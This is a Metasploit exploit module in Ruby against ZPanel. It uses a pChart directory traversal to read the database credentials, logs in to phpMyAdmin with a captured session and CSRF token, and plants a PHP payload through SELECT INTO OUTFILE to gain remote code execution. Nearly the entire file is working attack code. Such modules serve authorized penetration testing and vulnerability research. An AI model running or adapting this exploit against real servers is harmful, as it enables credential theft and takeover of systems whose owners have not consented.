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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/php_exe' require 'nokogiri' require 'uri' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Zpanel Remote Unauthenticated RCE', 'Description'=> %q{ This module exploits an information disclosure vulnerability in Zpanel. The vulnerability is due to a vulnerable version of pChart used by ZPanel that allows unauthenticated users to read arbitrary files remotely on the file system. This particular module utilizes this vulnerability to identify the username/password combination of the MySQL instance. With the credentials the attackers can login to PHPMyAdmin and execute SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. }, 'Author' => [ 'Balazs Makany',# pChart vuln discovery 'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel 'dawn isabel', 'brad wolfe', 'brent morris', 'james fitts' ], 'License'=> MSF_LICENSE, 'References' => [ [ 'EDB', '31173' ],# vulnerable version of pChart used by zpanel [ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel [ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ], [ 'URL', 'http://pastebin.com/y5Pf4Yms' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 30 2014')) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) ], self.class) end def get_setting(res, setting_name) n = ::Nokogiri::HTML(res.body) spans = n.search('//code//span//span') found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first val = found_element.next.next.text val.scan(/['"]([[:print:]]+)['"]/).flatten.first || '' end def get_user(res) get_setting(res, 'user') end def get_passwd(res) get_setting(res, 'pass') end def get_dbname(res) get_setting(res, 'dbname') end def dot_dot_slash(uri) res = send_request_cgi({ 'method' =>'GET', 'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'), 'vars_get' => { 'Action' => 'View', 'Script' => '../../../../cnf/db.php' } }) uname= get_user(res) passwd = get_passwd(res) dbname = get_dbname(res) return uname, passwd, dbname end def get_token_from_form(res) hidden_inputs = res.get_hidden_inputs hidden_inputs.first['token'] end def get_token_from_url(url) u = URI(url) u.query.split('&').each do |param| param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten return param_value if param_name == 'token' end '' end def grab_sess_and_token(uri) print_status('Attempting to get PHPSESSIONID') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri("#{uri}"), }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' if sid.length > 0 print_good('PHPSESSID identified!') print_good("PHPSESSID = #{sid.split("=")[1]}") print_status('Attempting to get CSRF token') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'), 'Cookie' => "#{sid}" }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') end token = get_token_from_form(res) cookies = res.get_cookies cookies = cookies.split('; ') cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" if token.length > 0 print_good('CSRF token identified!') print_good("CSRF token = #{token}") return cookies, token, sid else print_error('CSRF token could not be identified...') end else print_error('PHPSESSID could not be identified...') end end def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) old_cookies = cookies res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), 'cookie' => cookies, 'ctype'=> 'application/x-www-form-urlencoded', 'headers'=> { 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", }, 'vars_post' => { 'pma_username' => uname, 'pma_password' => passwd, 'server' => '1', 'lang' => 'en', 'collation_connection' => 'utf8_general_ci', 'token'=> token } }) cookies = "#{res.get_cookies}" old_cookies = old_cookies.split("; ") cookies = cookies.split("; ") new_cookies ="#{old_cookies[0]}; " new_cookies << "#{old_cookies[1]}; " new_cookies << "#{old_cookies[2]}; " new_cookies << "#{old_cookies[3]}; " new_cookies << "#{cookies[0]}; " new_cookies << "#{cookies[1]} " new_cookies << "#{sess_id}" token = get_token_from_url(res['Location']) res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), 'Referer'=> "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", 'cookie' => new_cookies, 'vars_get' => { 'token' => token } }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') end if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ print_good('PHPMyAdmin login successful!') return new_cookies, token end end def do_sql(cookies, token, uri) fname = "#{rand_text_alpha_upper(5)}.php" sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'), 'cookie' => cookies, 'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" }, 'vars_post' => { 'is_js_confirmed' => '0', 'token' => token, 'pos' => '0', 'goto'=> 'server_sql.php', 'message_to_show' => 'Your+SQL+query+has+been+executed+successfully', 'prev_sql_query'=> '', 'sql_query' => sql_stmt, 'sql_delimiter' => ';', 'show_query'=> '1', 'ajax_request'=> 'true', '_nocache'=> rand.to_s[2..19].to_i } }) unless res fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') end if res.body =~ /"success":true/ print_good("'#{fname}' successfully uploaded") print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") print_status("Executing '#{fname}' on the remote host") res = send_request_cgi({ 'method'=>'GET', 'uri'=>normalize_uri("#{uri}", "#{fname}") }) else print_error("#{res.body.to_s}") end end def exploit # Checking pChart res = send_request_cgi({ 'method'=> 'GET', 'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php') }) # if pChart is vuln version if res.body =~ /pChart 2\.x/ uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}") if uname.length > 0 && passwd.length > 0 print_good('Directory traversal successful, Username/Password identified!') print_good("Username: #{uname}") print_good("Password: #{passwd}") print_good("DB Name: #{db_name}") cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") print_status('Logging into PHPMyAdmin now') cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) print_status('Uploading malicious payload now') do_sql(cookies, token, "#{datastore['URI']}") else print_error('It appears that the directory traversal was unsuccessful...') end else print_error("It appears that the version of pChart is not vulnerable...") end end end |
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